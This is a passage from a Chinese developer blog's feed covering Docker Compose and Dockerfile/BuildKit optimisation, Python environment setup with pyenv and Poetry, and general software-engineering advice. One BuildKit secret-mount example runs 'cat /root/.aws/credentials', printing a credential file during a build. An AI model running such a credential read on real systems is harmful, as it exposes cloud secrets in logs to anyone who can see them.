class="string">&quot;$&#123;VUL_MODEL_ID&#125;&quot;</span></span><br><span class="line">      AZURE_API_KEY: <span class="string">&quot;$&#123;AZURE_API_KEY&#125;&quot;</span></span><br><span class="line">      AZURE_API_BASE: <span class="string">&quot;$&#123;AZURE_API_BASE&#125;&quot;</span></span><br><span class="line">      AZURE_API_VERSION: <span class="string">&quot;$&#123;AZURE_API_VERSION&#125;&quot;</span></span><br><span class="line">      AZURE_DEPLOYMENT_NAME: <span class="string">&quot;$&#123;AZURE_DEPLOYMENT_NAME&#125;&quot;</span></span><br><span class="line">      AZURE_OR_OPENAI: <span class="string">&quot;$&#123;AZURE_OR_OPENAI&#125;&quot;</span></span><br><span class="line">      BUSINESS_FLOW_COUNT: <span class="string">&quot;$&#123;BUSINESS_FLOW_COUNT&#125;&quot;</span></span><br><span class="line">      SWITCH_FUNCTION_CODE: <span class="string">&quot;$&#123;SWITCH_FUNCTION_CODE&#125;&quot;</span></span><br><span class="line">      SWITCH_BUSINESS_CODE: <span class="string">&quot;$&#123;SWITCH_BUSINESS_CODE&#125;&quot;</span></span><br><span class="line"></span><br><span class="line">  postgres:</span><br><span class="line">    image: postgres:<span class="number">13</span></span><br><span class="line">    container_name: Prompt-Postgres</span><br><span class="line">    volumes:</span><br><span class="line">      - prompt_postgres_data:/var/lib/postgresql/data</span><br><span class="line">      - ./init.sql:/docker-<span class="keyword">entrypoint</span><span class="language-bash">-initdb.d/init.sql  <span class="comment"># 添加初始化 SQL 脚本</span></span></span><br><span class="line">    environment:</span><br><span class="line">      - POSTGRES_DB=$&#123;POSTGRES_DB_NAME&#125;</span><br><span class="line">      - POSTGRES_USER=$&#123;POSTGRES_USER_NAME&#125;</span><br><span class="line">      - POSTGRES_PASSWORD=$&#123;POSTGRES_PASSWORD&#125;</span><br><span class="line">    ports:</span><br><span class="line">      - $&#123;POSTGRES_PORT&#125;:<span class="number">5432</span>  <span class="comment"># 将容器内的5432端口映射到主机的5433端口</span></span><br><span class="line">    networks:</span><br><span class="line">      - prompt</span><br><span class="line">    restart: always</span><br><span class="line">    <span class="keyword">healthcheck</span><span class="language-bash">:</span></span><br><span class="line">      test: [<span class="string">&quot;CMD-SHELL&quot;</span>, <span class="string">&quot;pg_isready -U $&#123;POSTGRES_USER_NAME&#125; -d $&#123;POSTGRES_DB_NAME&#125;&quot;</span>]</span><br><span class="line">      interval: <span class="number">10</span>s</span><br><span class="line">      timeout: <span class="number">5</span>s</span><br><span class="line">      retries: <span class="number">5</span></span><br><span class="line">      start_period: <span class="number">30</span>s</span><br><span class="line"></span><br><span class="line">networks:</span><br><span class="line">  prompt:</span><br><span class="line">    driver: bridge</span><br><span class="line"></span><br><span class="line">volumes:</span><br><span class="line">  prompt_postgres_data:</span><br><span class="line">    driver: local</span><br></pre></td></tr></table></figure><h4 id="常用命令"><strong>常用命令</strong></h4><ul><li><strong>docker-compose up</strong>命令用于构建和启动所有在 docker-compose.yml 中定义的服务。<br><strong>作用</strong>：构建镜像（如果需要），并启动所有的服务。启动后，所有服务会在前台显示日志，直到你停止它们。<br>-d：在后台启动容器（detached mode）。<br>–build：强制重新构建镜像。</li><li><strong>docker-compose down</strong> 删除所有容器，并且会删除由 Compose 创建的网络。<br>–volumes：同时删除与容器关联的持久化数据卷。</li><li><strong>docker-compose build</strong> 命令用于显式地构建所有服务的镜像，而不启动容器。<br>–no-cache：不使用缓存，强制重新构建镜像。<br>–pull：在构建时拉取最新的基础镜像。</li><li><strong>docker-compose run</strong> 命令用于在一个特定的服务上运行一个命令，通常适用于需要交互式调试或运行一次性任务的场景。它只会启动你指定的服务，而不是整个 docker-compose.yml 中的所有服务。<figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">docker-compose run --<span class="built_in">rm</span> prompt-engine python /prompt-engine/src/main.py -fpath projects/data -<span class="built_in">id</span> 1234 -cmd detect -o output/result.xlsx</span><br></pre></td></tr></table></figure>–rm：在命令执行完毕后自动删除容器，这对于命令行工具或一次性运行的任务非常有用。<br>-d：后台运行容器，适合需要持久运行的服务（但不适合一次性任务）。</li><li><strong>docker-compose start 和 docker-compose stop</strong> 这些命令用于启动和停止已经存在的服务容器。</li><li><strong>docker-compose exec</strong> 命令允许你进入正在运行的容器，执行命令或者开启交互式终端。它类似于 docker exec，但在 Docker Compose 环境中使用。<figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">docker-compose <span class="built_in">exec</span> prompt-engine bash</span><br></pre></td></tr></table></figure></li><li>docker-compose config 来查看 Compose 文件中定义的环境变量和配置。</li></ul><h2 id="最佳实践">最佳实践</h2><h3 id="常规加快构建">常规加快构建</h3><p><strong>选择合适的基础镜像</strong>。基础镜像的选择对镜像大小和应用性能影响很大。通常建议选择精简版镜像，如 python:3.9-slim 或 alpine，以减小镜像大小，减少冗余的包依赖。镜像的东西越少，安全漏洞越少。</p><p><strong>使用多阶段构建</strong>。这个参考前面的章节。</p><p><strong>避免不必要的层</strong>。因为每一层都是有缓存的，层越多，复杂性极速上升。一般来说做法如下：</p><ul><li><p>合并要执行的 shell 命令，并且在执行完命令后删除不必要的缓存和依赖。</p><figure class="highlight docker"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 不优化的写法：每个 RUN 都会创建一个新层</span></span><br><span class="line"><span class="keyword">RUN</span><span class="language-bash"> apt-get update</span></span><br><span class="line"><span class="keyword">RUN</span><span class="language-bash"> apt-get install -y curl</span></span><br><span class="line"><span class="keyword">RUN</span><span class="language-bash"> apt-get install -y git</span></span><br><span class="line"><span class="keyword">RUN</span><span class="language-bash"> <span class="built_in">rm</span> -rf /var/lib/apt/lists/*  <span class="comment"># 清理缓存</span></span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 优化的写法：合并到一个 RUN 中，只创建一个层</span></span><br><span class="line"><span class="keyword">RUN</span><span class="language-bash"> apt-get update &amp;&amp; \</span></span><br><span class="line"><span class="language-bash">    apt-get install -y curl git &amp;&amp; \</span></span><br><span class="line"><span class="language-bash">    <span class="built_in">rm</span> -rf /var/lib/apt/lists/*</span></span><br></pre></td></tr></table></figure></li><li><p>Copy 指令越少越好，合并起来，而且只 copy 必要的文件。</p><figure class="highlight docker"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 不优化的写法：每个 COPY 都会创建一个新层</span></span><br><span class="line"><span class="keyword">COPY</span><span class="language-bash"> file1.py /app/</span></span><br><span class="line"><span class="keyword">COPY</span><span class="language-bash"> file2.py /app/</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 优化的写法：合并到一个 COPY 指令，减少层数</span></span><br><span class="line"><span class="keyword">COPY</span><span class="language-bash"> file1.py file2.py /app/</span></span><br></pre></td></tr></table></figure></li><li><p>**将不常变动的依赖放在前面。**Docker 使用分层缓存，如果某一层没有变化，Docker 会重用缓存层。将依赖安装、基础配置等不常变化的指令放在 Dockerfile 的前面，而将代码的 COPY 操作放在后面，这样可以避免每次修改代码时重新安装依赖。</p><figure class="highlight docker"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 先安装依赖（通常不变动）</span></span><br><span class="line"><span class="keyword">COPY</span><span class="language-bash"> requirements.txt .</span></span><br><span class="line"><span class="keyword">RUN</span><span class="language-bash"> pip install --no-cache-dir -r requirements.txt</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 再复制应用代码（经常变化）</span></span><br><span class="line"><span class="keyword">COPY</span><span class="language-bash"> . .</span></span><br></pre></td></tr></table></figure></li><li><p>**使用 --no-install-recommends 安装软件包。**使用 apt-get install 时，默认会安装许多推荐包（recommends），但这些推荐包可能并不是必要的。通过 --no-install-recommends 选项，你可以避免安装不需要的软件包。</p><figure class="highlight docker"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">RUN</span><span class="language-bash"> apt-get update &amp;&amp; \</span></span><br><span class="line"><span class="language-bash">    apt-get install -y --no-install-recommends curl git &amp;&amp; \</span></span><br><span class="line"><span class="language-bash">    <span class="built_in">rm</span> -rf /var/lib/apt/lists/*</span></span><br></pre></td></tr></table></figure></li></ul><h3 id="使用BuildKit">使用<strong>BuildKit</strong></h3><h4 id="额外缓存">额外缓存</h4><p><a href="https://yeasy.gitbook.io/docker_practice/buildx/buildkit">BuildKit | Docker — 从入门到实践</a></p><p>手动增加缓存数据，除了 volumes 这种持久化的给挂载给容器的数据，还有一些用于加速构建的特殊缓存设置。这些缓存执行完命令就会卸载，因此不会增加容器大小。并且缓存还会自动的更新。</p><figure class="highlight docker"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">RUN</span><span class="language-bash"> npm i --registry=https://registry.npm.taobao.org \</span></span><br><span class="line"><span class="language-bash">        &amp;&amp; <span class="built_in">rm</span> -rf ~/.npm</span></span><br><span class="line"><span class="keyword">RUN</span><span class="language-bash"> npm run build</span></span><br><span class="line"><span class="comment">## 改造成：</span></span><br><span class="line"><span class="comment">## syntax = docker/dockerfile:experimental</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">RUN</span><span class="language-bash"> --mount=<span class="built_in">type</span>=cache,target=/app/node_modules,<span class="built_in">id</span>=my_app_npm_module,sharing=locked \</span></span><br><span class="line"><span class="language-bash">    --mount=<span class="built_in">type</span>=cache,target=/root/.npm,<span class="built_in">id</span>=npm_cache \</span></span><br><span class="line"><span class="language-bash">        npm i --registry=https://registry.npm.taobao.org</span></span><br><span class="line"><span class="keyword">RUN</span><span class="language-bash"> --mount=<span class="built_in">type</span>=cache,target=/app/node_modules,<span class="built_in">id</span>=my_app_npm_module,sharing=locked \</span></span><br><span class="line"><span class="language-bash"><span class="comment">## --mount=type=cache,target=/app/dist,id=my_app_dist,sharing=locked \</span></span></span><br><span class="line"><span class="language-bash">        npm run build</span></span><br></pre></td></tr></table></figure><p>以上的改变，在执行每个 RUN 的时候，都会挂载缓存数据到 target 目录，然后再去执行。</p><p>在多阶段构建的时候，还有特殊优化，用于获取上一次构建产生的缓存，而不是直接 COPY。这和使用 id 标识缓存的用途是不一样的，但是实际效果差不多。</p><figure class="highlight docker"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">RUN</span><span class="language-bash"> --mount=<span class="built_in">type</span>=cache,target=/tmp/dist,from=builder,<span class="built_in">source</span>=/app/dist \</span></span><br></pre></td></tr></table></figure><h4 id="传递多级构建的产物">传递多级构建的产物</h4><p>类似这样的代码，多级构建的时候可以挂载上一级的产物。和 cache 的区别在于，它不会缓存。</p><figure class="highlight docker"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">## syntax = docker/dockerfile:experimental</span></span><br><span class="line"><span class="keyword">RUN</span><span class="language-bash"> --mount=<span class="built_in">type</span>=<span class="built_in">bind</span>,from=php:alpine,<span class="built_in">source</span>=/usr/local/bin/docker-php-entrypoint,target=/docker-php-entrypoint \</span></span><br><span class="line"><span class="language-bash">        <span class="built_in">cat</span> /docker-php-entrypoint</span></span><br></pre></td></tr></table></figure><h4 id="优化-IO-密集的临时操作">优化 IO 密集的临时操作</h4><p>tmpfs 是一种基于内存的文件系统，数据存储在 RAM（随机存取存储器）中，而不是持久存储设备（如硬盘）。在 Linux 系统中，/tmp 目录通常使用 tmpfs。</p><p>那么构建过程中有很多的临时数据读写，而且不大（不超过物理内存的一半），执行完了就不需要，那么就比较时候。</p><figure class="highlight docker"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">RUN</span><span class="language-bash"> --mount=<span class="built_in">type</span>=tmpfs,target=/tmpfs \</span></span><br><span class="line"><span class="language-bash">    tar -xzf large-file.tar.gz -C /tmpfs &amp;&amp; \</span></span><br><span class="line"><span class="language-bash">    <span class="built_in">cp</span> -r /tmpfs/some-folder /app/some-folder</span></span><br></pre></td></tr></table></figure><p>一般的场景有：</p><ul><li><strong>编译中间文件</strong>：如果在构建过程中有些中间文件（如编译产物）只需要暂时存储，且不需要在构建结束后保留，tmpfs 是很好的选择。Rust 就很多的那种 target 中间文件。</li><li><strong>解压缩与临时数据处理</strong>：先把数据解压到 tmpfs，然后再使用。或者下载到 tmpfs，再操作。</li></ul><p>这也是许多脚本选择下载和解压的位置是 <code>/tmp</code> 的原因。</p><h4 id="挂载密钥文件">挂载密钥文件</h4><p>这个的特点就是，不会缓存，执行 RUN 结束之后就消失了。它的特点就是，这个文件处于隐私文件系统，构建的时候安全性更高。</p><figure class="highlight docker"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">## syntax = docker/dockerfile:experimental</span></span><br><span class="line"><span class="keyword">RUN</span><span class="language-bash"> --mount=<span class="built_in">type</span>=secret,<span class="built_in">id</span>=aws,target=/root/.aws/credentials \</span></span><br><span class="line"><span class="language-bash">        <span class="built_in">cat</span> /root/.aws/credentials</span></span><br></pre></td></tr></table></figure><p>构建的时候要提供密钥： <code>docker build --secret id=aws,src=$HOME/.aws/credentials -t my-app .</code></p><figure class="highlight docker"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">services:</span><br><span class="line">  app:</span><br><span class="line">    build:</span><br><span class="line">      context: .</span><br><span class="line">      dockerfile: Dockerfile</span><br><span class="line">      secrets:</span><br><span class="line">        - aws_credentials  <span class="comment"># 用于构建阶段</span></span><br><span class="line">    secrets:</span><br><span class="line">      - aws_credentials     <span class="comment"># 用于运行时，默认在/run/secrets/</span></span><br></pre></td></tr></table></figure><aside>💡<p>最后的建议：多去看优秀的开源项目的配置</p></aside>]]>
    </content>
    <id>https://www.blog-blockchain.xyz/dev/docker/</id>
    <link href="https://www.blog-blockchain.xyz/dev/docker/"/>
    <published>2024-10-21T06:22:20.000Z</published>
    <summary>深入讲解Docker容器化技术的核心概念、Dockerfile编写、多阶段构建、Docker Compose使用，以及性能优化最佳实践，帮助开发者掌握现代化应用部署和环境管理技能。</summary>
    <title>docker自动化</title>
    <updated>2026-02-19T16:18:01.165Z</updated>
  </entry>
  <entry>
    <author>
      <name>Michael L</name>
    </author>
    <category term="developer" scheme="https://www.blog-blockchain.xyz/categories/developer/"/>
    <category term="developer" scheme="https://www.blog-blockchain.xyz/tags/developer/"/>
    <content>
      <![CDATA[<h2 id="管理-Python-版本">管理 Python 版本</h2><p>推荐使用 <a href="https://github.com/pyenv/pyenv">https://github.com/pyenv/pyenv</a> 来管理不同版本的 python，但是它不支持 windows，如果你使用 windows，请使用 <a href="https://github.com/pyenv-win/pyenv-win">https://github.com/pyenv-win/pyenv-win</a> 。</p><p>如果你需要使用特定版本的 python，先安装它，类似于</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">pyenv install 3.9.6</span><br></pre></td></tr></table></figure><p>随后在项目的根目录，使用</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">pyenv <span class="built_in">local</span> 3.9.6</span><br></pre></td></tr></table></figure><p>它会生成一个配置文件 <code>.python-version</code> ，就会让进入项目根目录，就会自动切换到 3.9.6 的版本。</p><h2 id="管理虚拟环境">管理虚拟环境</h2><p><strong>Poetry</strong> 适合现代 Python 项目开发、个人或小型团队开发、需要发布到 PyPI 的项目。</p><p><strong>特点</strong>：</p><ul><li><strong>自动化依赖管理</strong>：Poetry 能够自动处理依赖冲突，生成 pyproject.toml 和 poetry.lock 文件，确保依赖一致性。</li><li><strong>内置虚拟环境管理</strong>：Poetry 会自动为每个项目创建虚拟环境，隔离项目依赖，保证项目间的互不干扰。</li><li><strong>简化的发布流程</strong>：通过 poetry build 和 poetry publish，可以轻松地将 Python 包发布到 PyPI。</li><li><strong>现代化设计</strong>：Poetry 支持 pyproject.toml，这是 Python 最新的标准配置文件格式。</li></ul><p>优点：</p><ul><li>统一的依赖管理和虚拟环境管理，操作简单。</li><li>自动解决依赖冲突，生成锁定文件，保证不同环境依赖的一致性。</li><li>提供项目的创建、构建、依赖管理、测试和发布的全流程工具。</li><li>pyproject.toml 文件非常清晰，方便配置。</li></ul><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">poetry new my_project      <span class="comment"># 创建新项目</span></span><br><span class="line">poetry add requests        <span class="comment"># 添加依赖</span></span><br><span class="line">poetry install             <span class="comment"># 安装依赖</span></span><br><span class="line">poetry shell               <span class="comment"># 进入虚拟环境</span></span><br><span class="line">poetry run python script.py <span class="comment"># 在虚拟环境外，使用虚拟环境运行脚本</span></span><br></pre></td></tr></table></figure><p>Poetry 对当前的 python 解释器有依赖。当你使用 Poetry 创建虚拟环境时，它会检查系统中当前使用的 Python 版本是否符合项目中的版本要求。如果当前系统或环境中的 Python 版本不符合 pyproject.toml 中的规定，Poetry 会提示错误，阻止虚拟环境的创建或依赖安装。报错类似 Poetry could not find a compatible version of python for your project.</p><p>为了弥补 Poetry 不能直接管理 Python 版本的缺点，你可以结合 pyenv 这类工具来一起使用。</p><p>以上 pyenv 会自动切换环境，这样就没有问题了。</p><hr><p>相比 conda，poetry 专注于依赖管理和包管理，适合纯 <strong>Python 项目</strong>。Conda 创建的虚拟环境是完全隔离的，每个环境可以有不同的 Python 版本和不同的依赖包，管理起来非常方便。</p><p>但是 Conda 在一些<strong>科学计算</strong>库上，有预编译的版本（如 numpy, scipy, pandas），Conda 可以直接安装预编译好的版本，避免本地编译的复杂性。<strong>尤其在 windows 平台，能解决许多依赖包编译失败的问题</strong>。</p><hr><p>关于 macOS(darwin)系统，它确实在用户体验上下了功夫，并且有类 unix 的系统。但是它的编译工具链，依赖库等生态，还是不如 linux，尤其是需要自行编译的部分，比如部分 python 的包，就会容易遇到各种 bug，需要手动解决，再加上 arm 架构，会进一步造成一些兼容性问题。</p>]]>
    </content>
    <id>https://www.blog-blockchain.xyz/dev/python-env/</id>
    <link href="https://www.blog-blockchain.xyz/dev/python-env/"/>
    <published>2024-10-21T03:18:20.000Z</published>
    <summary>详细介绍Python开发环境搭建，包括pyenv版本管理、Poetry虚拟环境、依赖管理等工具的安装配置和使用技巧，帮助开发者建立稳定高效的Python开发环境。</summary>
    <title>(一）Python环境配置指南</title>
    <updated>2026-02-19T16:18:01.162Z</updated>
  </entry>
  <entry>
    <author>
      <name>Michael L</name>
    </author>
    <category term="developer" scheme="https://www.blog-blockchain.xyz/categories/developer/"/>
    <category term="developer" scheme="https://www.blog-blockchain.xyz/tags/developer/"/>
    <content>
      <![CDATA[<p>要成为一名优秀的软件工程师，需要掌握广泛的技能和知识，包括基础的数据结构、高级架构设计和良好的编程实践。本文将为你详细介绍如何全面提升自己的编程能力，成为卓越的软件工程师。</p><h2 id="深入掌握数据结构与算法">深入掌握数据结构与算法</h2><p>TODO: 我的数据结构和算法的笔记，每一类数据结构怎么用。</p><p>数据结构和算法是软件工程的核心基础。深入理解数组、链表、堆栈、队列、树、图等基础数据结构，可以帮助你高效地解决复杂问题。你不仅需要理解它们的工作原理，还要清楚它们的优缺点、本质特性以及适用的应用场景。</p><p><strong>数组</strong>是一种连续存储的结构，适合需要快速随机访问的场景，访问的时间复杂度为 O(1)。但它在插入和删除操作时需要移动大量数据，时间复杂度为 O(n)，因此不适合频繁插入和删除的场景。数组通常用于需要快速访问的应用，例如排行榜和固定大小的数据集合。</p><p><strong>链表</strong>是一种由节点组成的结构，每个节点包含数据和指向下一个节点的指针。链表在已知位置时，插入和删除操作非常高效，时间复杂度为 O(1)，但随机访问的效率较低，为 O(n)。链表适用于需要频繁插入和删除元素的场景，例如实现队列、内存管理的空闲块链表等。</p><p><strong>堆栈和队列</strong>是两种特殊的线性数据结构。堆栈遵循后进先出（LIFO）原则，适用于递归调用、撤销操作、函数调用栈管理等场景；队列遵循先进先出（FIFO）原则，适用于排队系统、任务调度和广度优先搜索（BFS）等场景，例如打印任务队列和操作系统的进程管理等。</p><p><strong>树</strong>是一种分层数据结构，常用于表示层级关系。树适用于需要快速查找、插入和删除的场景，例如数据库索引和文件系统目录结构。红黑树是一种自平衡二叉搜索树，广泛应用于 Java 的 TreeMap 和 Linux 内核中的调度器等。</p><p><strong>图</strong>是一种由节点和边组成的结构，适用于表示网络关系，如社交网络和计算机网络等。图的遍历方法，如深度优先搜索（DFS）和广度优先搜索（BFS），在路径查找和连通性分析等方面非常有用，例如社交平台中的好友推荐和地图应用中的最短路径计算。</p><p><strong>散列函数</strong>将输入映射到哈希表的固定位置，通过 HashMap 可以实现高效的数据存储和查找。哈希表平均情况下查找和插入的时间复杂度为 O(1)，但需要处理冲突问题（如链地址法和开放地址法）。哈希表适用于需要快速查找的场景，如缓存和数据索引。</p><p><strong>递归</strong>是一种函数调用自身的编程方法，适用于具有自相似性质的问题。递归用于解决分治类问题，例如目录树的遍历、二叉树的遍历等。递归可以让代码更加简洁，但需要注意栈溢出以及深度过大的问题。</p><p><strong>动态规划</strong>是一种优化递归的技术，适用于具有重叠子问题和最优子结构的问题。通过将子问题的结果存储起来，动态规划可以显著减少重复计算，提高算法效率。常见的应用包括最短路径问题、背包问题和最长公共子序列问题。</p><p>理解<strong>算法复杂度</strong>是优化代码的关键。时间复杂度衡量算法随输入规模变化的运行时间，空间复杂度衡量算法所需的存储空间。常见的时间复杂度有 O(1)、O(log n)、O(n) 等。选择合适的数据结构和算法可以显著提升程序效率。</p><p>通过增加存储空间来减少计算时间的策略被称为“<strong>空间换时间</strong>”。例如，使用缓存来避免重复计算，或者通过哈希表存储数据以实现快速查找。操作系统中的缓存机制是空间换时间的经典例子，例如内存中的页表缓存（TLB）用于加速虚拟地址到物理地址的转换，减少内存访问延迟。另外，数据库系统中通过将查询结果缓存到内存中，也可以加快后续相同查询的速度，这样可以显著提升系统性能。</p><p>通过不断应用这些数据结构和算法知识，你将能设计和实现高效的程序，解决各种复杂的工程问题。</p><h2 id="掌握设计模式">掌握设计模式</h2><p>在服务器开发中，良好的架构设计离不开各种设计模式的应用。下面是一些常见的设计模式及其应用场景：</p><p><strong>单例模式</strong>：用于确保某个服务实例在整个应用程序中仅有一个，例如数据库连接池、配置管理器等。在 Go 中，单例模式通常通过逐级初始化来实现，而非依赖包级别的全局变量，从而保持模块化，确保系统的可维护性和模块的独立性。同时，可以使用 <code>sync.Once</code> 来确保实例只被初始化一次，避免资源浪费。</p><p><strong>工厂模式</strong>：用于创建相似特性的对象，如网络协议中的 HTTP、WebSocket 或 gRPC 等。通过工厂模式，可以灵活生成不同类型的服务实例，以适应不同的业务逻辑需求。</p><p><strong>订阅-通知模式</strong>（原观察者模式）：在事件驱动系统中非常有用，例如聊天室中的消息推送机制。订阅-通知机制用于模块之间的通信。在以太坊中，交易池收到新交易后通知交易广播器，以避免重复广播已知交易。在 Go 中，可以利用通道（channel）实现订阅-通知模式。例如，可以创建一个通道来传递新交易信息，当交易池接收到新交易时，将交易信息发送到通道中，所有订阅该通道的模块（如交易广播器）都会接收到通知并执行相应操作。</p><p><strong>代理模式</strong>：用于在目标对象前后增加控制逻辑，例如权限控制、日志记录和缓存。在数据库访问中，代理模式可以在执行前检查用户权限，或者缓存查询结果以减少数据库访问频次。</p><p><strong>策略模式</strong>：适用于需要动态选择算法的场景，例如服务器的负载均衡。可以根据不同的条件选择最小连接数、轮询等策略来处理请求。</p><p><strong>消息调度模式</strong>：在处理请求和响应时，协调发送和接收是关键。消息调度模式中通常使用唯一的请求 ID 标识每个请求与响应，确保它们正确匹配。在消息调度系统中，通常会设置一个 <code>replyMatcher</code>，管理请求和响应的匹配关系，并在收到响应时通过回调函数进行处理。多个循环（如主循环和读取循环）协同工作，结合带缓冲区的共享变量来处理高并发任务，有效控制系统负载。</p><p><strong>上下文管理模式</strong>：用于在多线程或异步环境中管理请求的生命周期和相关信息。例如在 Go 中，可以使用 <code>context</code> 包来处理请求的超时、取消信号和元数据传递，使得系统更加健壮和易维护。</p><h2 id="良好的编程习惯与高效工具链">良好的编程习惯与高效工具链</h2><p>TODO: 工具链部分，增加如何选择开源项目学习和二次开发。<br>TODO: git 的正确使用方法。</p><p>良好的编程习惯是成为优秀软件工程师的重要组成部分，以下几个方面可以帮助提高代码质量和开发效率：</p><p>熟练掌握以下主流工具和技能是每个优秀工程师的基本要求：</p><ul><li><strong>IDE</strong>：掌握使用主流的集成开发环境（如 VSCode、IntelliJ IDEA、GoLand），这些工具可以提高开发效率并提供强大的调试和代码补全功能。</li><li><strong>构建工具</strong>：熟悉构建工具（如 Make、Gradle、Cargo），它们可以帮助自动化编译、测试和打包，减少手动错误，提高开发效率。</li><li><strong>版本控制系统</strong>：精通版本控制系统（如 Git），能够熟练进行代码分支管理、合并冲突和版本发布，是团队协作开发的基本技能。</li><li><strong>Linux 系统操作</strong>：掌握 Linux 系统的操作，了解基本的命令行工具、脚本编写、文件权限管理等，是开发服务器端应用程序和进行系统维护的必备技能。</li></ul><p>在开发过程中，<strong>优先实现核心功能</strong>有助于快速构建项目的主干部分，确保最重要的功能得到充分测试和验证。不要陷入一些常见的误区，例如从自己喜欢的部分、熟悉的部分或看起来简单的部分入手，而是应该优先实现对产品功能最重要、关乎系统可用性的核心功能。通过首先实现关键功能，再逐步扩展其他细节，可以更好地控制项目进度，减少实现复杂系统时的分散和混乱。</p><p><strong>测试是保证软件质量的关键</strong>，尤其是核心功能的测试。逐步测试意味着在开发每个模块时及时进行单元测试，确保其功能符合预期。这样不仅可以在早期发现潜在问题，还可以为后续开发打下稳定的基础，减少后期调试的时间。</p><p>现实中的系统总会遇到各种异常情况。<strong>完善的异常处理</strong>不仅可以让程序在出现错误时保持稳定，还能提升用户体验。合理的异常处理包括捕获可能的错误、给出有意义的提示信息，以及在错误发生时优雅地降级处理，以保证系统的可用性。</p><p>编写代码的良好习惯：</p><ul><li><strong>代码简洁明了</strong>：编写简洁、易于理解的代码，避免过度复杂的逻辑。遵循“代码即文档”的原则，让代码本身易于阅读和维护。例如，如果有一个复杂的嵌套循环，可以将其拆分为几个小函数，每个函数只负责一个具体的步骤，这样可以提高代码的可读性和可维护性。</li><li><strong>一致的代码风格</strong>：遵守统一的代码风格和命名规范，保持代码的一致性，方便团队协作和代码审查。建议使用 linters 工具（如 ESLint、gofmt 等）来自动检测代码风格一致性，确保代码质量并减少人为错误。</li><li><strong>适当的注释</strong>：对重要的逻辑和复杂的实现进行适当的注释，帮助其他开发者理解代码的目的和思路。注释应当解释“为什么”做某件事，而非“如何”做。</li><li><strong>小函数和模块化设计</strong>：将代码分割成小函数和模块，确保每个函数和模块只完成一个职责（单一职责原则）。这样可以提高代码的可测试性和可维护性。</li><li><strong>代码审查</strong>：通过代码审查的方式，发现代码中的潜在问题，并通过团队合作提高代码质量。接受他人的反馈，并不断改进自己的编码习惯。</li><li><strong>谨慎处理全局状态</strong>：尽量减少或避免使用全局变量，以免引入难以追踪的错误。通过依赖注入等方式，将状态控制在合理的范围内，确保代码模块的独立性。</li><li><strong>资源管理</strong>：确保在使用完资源（如文件句柄、数据库连接等）后正确释放它们，以防止资源泄漏。使用 <code>defer</code> 等语言特性简化资源的清理操作。</li></ul><p>通过养成这些良好的编程习惯，可以提高代码的质量和可维护性，并减少在开发和维护过程中可能遇到的问题。</p><h2 id="总结">总结</h2><p>成为一名优秀的软件工程师需要不断学习和实践，掌握基础的数据结构与算法，灵活应用各种设计模式，养成良好的编程习惯，并高效使用工具链。通过持续的努力和总结，你将逐步提升自己的技术能力，成为一名真正优秀的软件工程师。</p>]]>
    </content>
    <id>https://www.blog-blockchain.xyz/career/become-good-coder/</id>
    <link href="https://www.blog-blockchain.xyz/career/become-good-coder/"/>
    <published>2024-10-08T18:44:20.000Z</published>
    <summary>全面的软件工程师成长指南：深入讲解数据结构与算法的实际应用，详述设计模式在服务器开发中的运用，介绍良好的编程习惯与高效工具链，帮助开发者从基础技能到架构设计全方位提升编程能力。</summary>
    <title>如何成为优秀的软件工程师</title>
    <updated>2026-02-19T16:18:01.137Z</updated>
  </entry>
  <entry>
    <author>
      <name>Michael L</name>
    </author>
    <category term="math" scheme="https://www.blog-blockchain.xyz/categories/math/"/>
    <category term="math" scheme="https://www.blog-blockchain.xyz/tags/math/"/>
    <content>
